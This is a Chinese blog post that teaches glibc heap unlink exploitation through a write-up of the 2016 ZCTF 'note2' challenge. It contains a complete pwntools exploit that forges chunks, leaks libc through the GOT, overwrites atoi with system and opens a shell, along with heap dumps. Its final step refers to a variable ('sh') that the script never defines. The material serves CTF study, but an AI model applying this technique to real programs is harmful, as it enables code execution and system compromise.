堆溢出-Unlink

Author Avatar
kabeor 1月 05, 2020

堆溢出-Unlink

原理

对 fd 和 bk 的检查

//对 fd 和 bk 的检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr (check_action, "corrupted double-linked list", P, AV);

通过覆盖,将 nextchunk 的 FD 指针指向了 fakeFD,将 nextchunk 的 BK 指针指向了 fakeBK 。那么为了通过验证,我们需要

  • fakeFD -> bk == P <=> *(fakeFD + 12) == P
  • fakeBK -> fd == P <=> *(fakeBK + 8) == P

当满足上述两式时,可以进入 Unlink 的环节,进行如下操作:

  • fakeFD -> bk = fakeBK <=> *(fakeFD + 12) = fakeBK
  • fakeBK -> fd = fakeFD <=> *(fakeBK + 8) = fakeFD

如果让 fakeFD + 12 和 fakeBK + 8 指向同一个指向 P 的指针,那么:

  • *P = P - 8
  • *P = P - 12

即通过此方式,P 的指针指向了比自己低 12 的地址处。此方法虽然不可以实现任意地址写,但是可以修改指向 chunk 的指针,这样的修改是可以达到一定的效果的。

利用

条件

  1. UAF ,可修改 free 状态下 smallbin 或是 unsorted bin 的 fd 和 bk 指针
  2. 已知位置存在一个指针指向可进行 UAF 的 chunk

效果

使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18

思路

设指向可 UAF chunk 的指针的地址为 ptr

  1. 修改 fd 为 ptr - 0x18
  2. 修改 bk 为 ptr - 0x10
  3. 触发 unlink

ptr 处的指针会变为 ptr - 0x18。

64位:

fd = &P-0x18
bk = &P-0x10
效果: P = &P-0X18

32 位

fd = &p-12
bk = &p-8
效果: p =&p-12

例 2016 ZCTF note2

功能
puts("1.New note\n2.Show note\n3.Edit note\n4.Delete note\n5.Quit\noption--->>");

漏洞点

新建note
int sub_400B96()
{
const char *size_4; // ST08_8
unsigned int v2; // eax
unsigned int size; // [rsp+4h] [rbp-Ch]

if ( dword_602160 > 3 )
return puts("note lists are full");
puts("Input the length of the note content:(less than 128)");
size = sub_400A4A("Input the length of the note content:(less than 128)");
if ( size > 0x80 )
return puts("Too long");
size_4 = malloc(size);
puts("Input the note content:");
sub_4009BD(size_4, size, 10); ////////////读取函数,漏洞点
sub_400B10(size_4);
*(&ptr + dword_602160) = size_4;
qword_602140[dword_602160] = size;
v2 = dword_602160++;
return printf("note add success, the id is %d\n", v2);
}
unsigned __int64 __fastcall sub_4009BD(__int64 a1, __int64 a2, char a3)
{
char v4; // [rsp+Ch] [rbp-34h]
char buf; // [rsp+2Fh] [rbp-11h]
unsigned __int64 i; // [rsp+30h] [rbp-10h] 变量类型为unsigned,因此0-1=unsigned最大值
ssize_t v7; // [rsp+38h] [rbp-8h]

v4 = a3;
for ( i = 0LL; a2 - 1 > i; ++i ) //////// 令a2=0,将循环unsigned最大值次,可以造成堆溢出
{
v7 = read(0, &buf, 1uLL);
if ( v7 <= 0 )
exit(-1);
if ( buf == v4 )
break;
*(i + a1) = buf;
}
*(a1 + i) = 0;
return i;
}

程序在每次编辑 note 时,都会申请 0xa0 大小的内存,但是在 free 之后并没有设置为 NULL。

利用

note操作如下

p = process('./note2')
note2 = ELF('./note2')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
context.log_level = 'debug'

def newnote(length, content):
p.recvuntil('option--->>')
p.sendline('1')
p.recvuntil('(less than 128)')
p.sendline(str(length))
p.recvuntil('content:')
p.sendline(content)

def shownote(id):
p.recvuntil('option--->>')
p.sendline('2')
p.recvuntil('note:')
p.sendline(str(id))

def editnote(id, choice, s):
p.recvuntil('option--->>')
p.sendline('3')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('2.append]')
p.sendline(str(choice))
p.sendline(s)

def deletenote(id):
p.recvuntil('option--->>')
p.sendline('4')
p.recvuntil('note:')
p.sendline(str(id))
p.recvuntil('Input your name:')
p.sendline('1')
p.recvuntil('Input your address:')
p.sendline('1')

# chunk0: a fake chunk
ptr = 0x0000000000602120
fakefd = ptr - 0x18
fakebk = ptr - 0x10
content = 'a' * 8 + p64(0x61) + p64(fakefd) + p64(fakebk) + 'b' * 64 + p64(0x60)
#content = p64(fakefd) + p64(fakebk)
newnote(128, content)
# chunk1: a zero size chunk produce overwrite
newnote(0, 'a' * 8)
# chunk2: a chunk to be overwrited and freed
newnote(0x80, 'b' * 16)

chunk0 中一共构造了两个 chunk

  • chunk ptr[0],这个是为了 unlink 时修改对应的值。
  • chunk ptr[0]’s nextchunk,这个是为了使得 unlink 时的第一个检查满足。

    // 由于P已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0)) \

    malloc_printerr ("corrupted size vs. prev_size");    
    
当前堆内构造
pwndbg> x/50xg 0x144d280
0x144d280: 0x0000000000000000 0x0000000000000000
0x144d290: 0x0000000000000000 0x0000000000000091 ======> chunk0 size=0x80
0x144d2a0: 0x6161616161616161 0x0000000000000061
0x144d2b0: 0x0000000000602108 0x0000000000602110 ------> fd bk
0x144d2c0: 0x6262626262626262 0x6262626262626262
0x144d2d0: 0x6262626262626262 0x6262626262626262
0x144d2e0: 0x6262626262626262 0x6262626262626262
0x144d2f0: 0x6262626262626262 0x6262626262626262
0x144d300: 0x0000000000000060 0x0000000000000000 ------> prev_size=0x60
0x144d310: 0x0000000000000000 0x0000000000000000
0x144d320: 0x0000000000000000 0x0000000000000021 ======> chunk1 size=0
0x144d330: 0x6161616161616161 0x0000000000000000
0x144d340: 0x0000000000000000 0x0000000000000091 ======> chunk2 size=0x80
0x144d350: 0x6262626262626262 0x6262626262626262
0x144d360: 0x0000000000000000 0x0000000000000000
0x144d370: 0x0000000000000000 0x0000000000000000
0x144d380: 0x0000000000000000 0x0000000000000000
0x144d390: 0x0000000000000000 0x0000000000000000
0x144d3a0: 0x0000000000000000 0x0000000000000000
0x144d3b0: 0x0000000000000000 0x0000000000000000
0x144d3c0: 0x0000000000000000 0x0000000000000000
0x144d3d0: 0x0000000000000000 0x0000000000020c31 ======> top chunk

释放 chunk1 - 覆盖 chunk2 - 释放 chunk2

# edit the chunk1 to overwrite the chunk2
deletenote(1)
content = 'a' * 16 + p64(0xa0) + p64(0x90)
newnote(0, content)
# delete note 2 to trigger the unlink
# after unlink, ptr[0] = ptr - 0x18
deletenote(2)

首先释放 chunk1,由于该 chunk 属于 fastbin,所以下次在申请的时候仍然会申请到该 chunk,同时由于上面所说的类型问题,我们可以读取任意字符,所以就可以覆盖 chunk2

当前堆内构造
pwndbg> x/50xg 0x1a94280
0x1a94280: 0x0000000000000000 0x0000000000000000
0x1a94290: 0x0000000000000000 0x0000000000000091 ======> chunk0 size=0x80
0x1a942a0: 0x6161616161616161 0x0000000000000061
0x1a942b0: 0x0000000000602108 0x0000000000602110 ------> fd bk ptr[0]
0x1a942c0: 0x6262626262626262 0x6262626262626262
0x1a942d0: 0x6262626262626262 0x6262626262626262
0x1a942e0: 0x6262626262626262 0x6262626262626262
0x1a942f0: 0x6262626262626262 0x6262626262626262
0x1a94300: 0x0000000000000060 0x0000000000000000 ------> fake prev_size=0x60 unused
0x1a94310: 0x0000000000000000 0x0000000000000000
0x1a94320: 0x0000000000000000 0x0000000000000021 ======> chunk1 size=0
0x1a94330: 0x6161616161616161 0x6161616161616161
0x1a94340: 0x00000000000000a0 0x0000000000000090
0x1a94350: 0x0000000000000000 0x0000000001a94010
0x1a94360: 0x0000000000000000 0x0000000000000000
0x1a94370: 0x0000000000000000 0x0000000000000000
0x1a94380: 0x0000000000000000 0x0000000000000000
0x1a94390: 0x0000000000000000 0x0000000000000000
0x1a943a0: 0x0000000000000000 0x0000000000000000
0x1a943b0: 0x0000000000000000 0x0000000000000000
0x1a943c0: 0x0000000000000000 0x0000000000000000
0x1a943d0: 0x0000000000000000 0x0000000000020c31
0x1a943e0: 0x0000000000000000 0x0000000000000000

覆盖主要是为了释放 chunk2 的时候可以后向合并(合并低地址),对 chunk0 中虚拟构造的 chunk 进行 unlink。即将要执行的操作为 unlink(ptr[0]),unlink 成功执行,会导致 ptr[0] 所存储的地址变为 fakebk,即 ptr-0x18。

获取 system 地址

# overwrite the chunk0(which is ptr[0]) with got atoi
atoi_got = note2.got['atoi']
content = 'a' * 0x18 + p64(atoi_got)
editnote(0, 1, content)
# get the aoti addr
shownote(0)

p.recvuntil('is ')
atoi_addr = p.recvuntil('\n', drop=True)
print atoi_addr
atoi_addr = u64(atoi_addr.ljust(8, '\x00'))
print 'leak atoi addr: ' + hex(atoi_addr)

# get system addr
atoi_offest = libc.symbols['atoi']
libcbase = atoi_addr - atoi_offest
system_offest = libc.symbols['system']
system_addr = libcbase + system_offest

print 'leak system addr: ', hex(system_addr)

前面已经修改 ptr[0] 的内容为 ptr 的地址 - 0x18,所以当再次编辑 note0 时,可以覆盖 ptr[0] 的内容。这里将其覆盖为 atoi 的地址。 这样的话,如果查看 note 0 的内容,其实查看的就是 atoi 的地址。之后我们根据 libc 中对应的偏移计算出 system 的地址。

修改 atoi got

# overwrite the atoi got with systemaddr
content = p64(system_addr)
editnote(0, 1, content)

此时 ptr[0] 的地址 got 表的地址,所以可以直接修改该 note,覆盖为 system 地址。

get shell

# get shell
sh.recvuntil('option--->>')
sh.sendline('/bin/sh')
sh.interactive()

此时如果再调用 atoi ,其实调用的就是 system 函数。

From https://kabeor.github.io/堆溢出-Unlink/ bye

This blog is under a CC BY-NC-SA 4.0 Unported License
本文链接:https://kabeor.github.io/堆溢出-Unlink/